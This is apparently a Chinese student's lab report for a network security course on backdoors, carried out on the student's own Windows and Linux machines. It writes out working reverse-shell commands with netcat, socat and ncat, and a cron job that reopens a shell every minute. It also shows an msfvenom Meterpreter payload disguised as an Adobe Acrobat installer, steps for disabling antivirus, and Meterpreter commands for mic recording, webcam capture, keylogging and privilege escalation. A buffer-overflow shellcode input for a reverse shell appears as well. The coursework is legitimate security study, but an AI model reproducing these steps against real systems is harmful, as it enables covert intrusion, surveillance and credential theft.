Exp2 后门原理与实践
目录
一、实验目标
二、实验准备
三、实验步骤
四、总结思考
一、实验目标
任务一
使用netcat获取主机操作Shell,cron启动。
任务二
使用socat获取主机操作Shell, 任务计划启动。
任务三
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
任务四
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
任务五(加分内容)
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二、实验准备
(一)Windows获取Linux Shell
在Windows端,调出终端 win+r
查看IPv4地址 ipconfig

下载netcat、socat文件https://gitee.com/wildlinux/NetSec/attach_files
关闭防火墙,终端切换到ncat所在文件目录,启动监听 ncat.exe -l -p 4316 (注意命令为-l不是-1)

在Linux端,关闭防火墙 ufw disable
反弹连接 nc 192.168.145.1 4316 -e /bin/sh
在Windows端,获得Linux的Shell,用pwd和ls指令测试成功。

(二)Linux端获取Windows Shell
在Linux端,查看IPv4地址 ifconfig
启动监听 nc -l -p 4316
在Windows端,反弹连接 ncat.exe -e cmd.exe 192.168.145.128 4316
在Linux端,获得Windows的Shell,用ipconfig指令测试成功。

(三)通过ncat传输数据和文件
在Windows端,启动监听 ncat.exe -l 4316
在Linux端,连接Windows nc 192.168.145.1 4316
连接成功,在Linux端终端输入字符,Windows端同步显示,实现字符传输。

在Linux端,创建文件20184316.txt,输入内容如图。
在Windows端,启动监听,把数据存放在kali.out中 ncat.exe -l 4316 > kali.out
在Linux端,发送文件 nc 192.168.145.1 4316< 20184316.txt,kali

在Windows端,接收到文件kali.out,内容与Linux中一致,传输成功。

三、实验步骤
任务一:使用netcat获取主机操作Shell,cron启动
在Windows端,启动监听 ncat.exe -l 4316
在Linux端,新建cron定时任务 crontab -e

每1分钟执行指令1次,反弹连接Windows */1 * * * * /bin/netcat 192.168.145.1 4316 -e /bin/sh

查看定时任务列表 crontab -l
1分钟后,Linux自动执行指令,在Windows端,获得Linux的Shell,用ls指令测试成功。

任务二:使用socat获取主机操作Shell, 任务计划启动
在Windows端,设置-控制面板-管理工具-任务计划程序-创建任务。
新建触发器,开始任务条件为工作站锁定时。

新建操作,程序或脚本设置为socat.exe文件路径。
绑定cmd.exe到端口4316,重定向cmd.exe的stderr到stdout,添加参数设置为tcp-listen:4316 exec:cmd.exe,pty,stderr
win+l锁定计算机。


在Linux端,获取Windows Shell socat -tcp:192.168.145.1:4316
失败,猜测为端口号问题,将端口号更换为1050。
再次尝试,获得Windows的Shell,用ipconfig指令测试成功。

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
生成Adobe_Acrobat_Pro_v2018.4316.exe后门程序,ip地址为Linux端地址,内置在后门程序中与控制主机取得联系
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.145.128 LPORT=4316 -f exe > Adobe_Acrobat_Pro_v2018.4316.exe

在Windows端,启动监听 ncat.exe -l 4316 > Adobe_Acrobat_Pro_v2018.4316.exe
在Linux端,发送文件 nc 192.168.145.1 4316 < Adobe_Acrobat_Pro_v2018.4316.exee
文件传输成功。

关闭联想安全管家安全防护。


关闭Windows Defender实时保护。


在Linux端,启动MSF
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.145.128
set LPORT 4316
exploit

在Windows端,启动后门程序。
在Linux端,获得Windows的Shell,用ipconfig指令测试成功。

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
在Linux端,录音 record_mic
拍照 webcam_snap



摄像头指示灯亮,起到一定的隐私保护功能,若该指示灯与摄像头电源硬件连接,则被后门程序绕过的可能性较小。

在操作过程中,Windows Defender的篡改防护又跳出来把程序ban了。

截屏 screenshot

获取击键记录,开始记录 keyscan_start
在Windows端,输入20184316 Hamil Lee等内容。
在Linux端,输出结果 keyscan_dump

提权,查看当前用户 getuid
提权 getsystem ,提权失败,Windows端发出严重警告并再次ban了程序。


多次尝试后仍提权失败,猜测为Windows保护机制原因。

任务五(加分内容):使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在https://www.exploit-db.com/shellcodes中搜索linux/x86 - Reverse。
找到合适的shellcode,https://www.exploit-db.com/shellcodes/44620。


在Linux端,按实验一步骤,调整shellcode,此部分详细过程省略。
https://www.cnblogs.com/hamil/p/14501930.html(实验一)




生成合适的input_shellcode。
perl -e 'print "A" x 32;print"\xd0\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
打开一个新终端,启动MSF
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit

运行pwn7,并将input_shellcode作为输入 (cat input_shellcode;cat) | ./pwn7

在运行MSF的终端端,获得Shell,用ls指令测试成功。

四、总结思考
(一)例举你能想到的一个后门进入到你系统中的可能方式?
实验中我主动将后门程序复制到主机Windows系统中,程序是否会被杀毒软件清除、能否通过防火墙且不论,单就后门程序进入系统的可行方式有许多,如隐藏在正常下载程序的压缩包内、邮箱附件下载、U盘摆渡、聊天软件文件传输、局域网文件共享等。
(二)例举你知道的后门如何启动起来(win及linux)的方式?
Windows端如开机启动项、任务计划。
Linux端如cron。
(三)Meterpreter有哪些给你映像深刻的功能?
模块化组装程序、获取击键记录、摄像头、录音、截屏等。
(四)如何发现自己有系统有没有被安装后门?
在任务管理器中查看可疑的进程。
及时更新木马库,定时进行全盘扫描。
检查开机启动项列表。
检查任务计划列表。
安装可靠的杀毒软件。
(五)实验收获与感想
通过此次实验,我接触到并亲自完成了许多以往只能在美剧或新闻里看到的操作,如获取击键记录、摄像头拍照、截屏、控制另一台主机等,这让我更好理解了这些操作背后的知识点(后门)和相关原理,对这些操作不再有距离感,也不再感到害怕,对我日后的学习工作生活都会有很大帮助。
同时,通过完成加分任务,自己上网寻找可用的shellcode并调整注入,加深了我对实验一中shellcode的印象与理解。
不过这次实验中的操作都有很大局限性,需要被攻击主机主动卸下防备、主动联系操作主机,在现实生活中比较鸡肋,这块知识还需要进一步学习(免杀等)。
最后,实验中我遇到了各种问题,但总体而言都是小问题,主要通过请教同学和上网搜索解决,没有耽搁太多时间。

浙公网安备 33010602011771号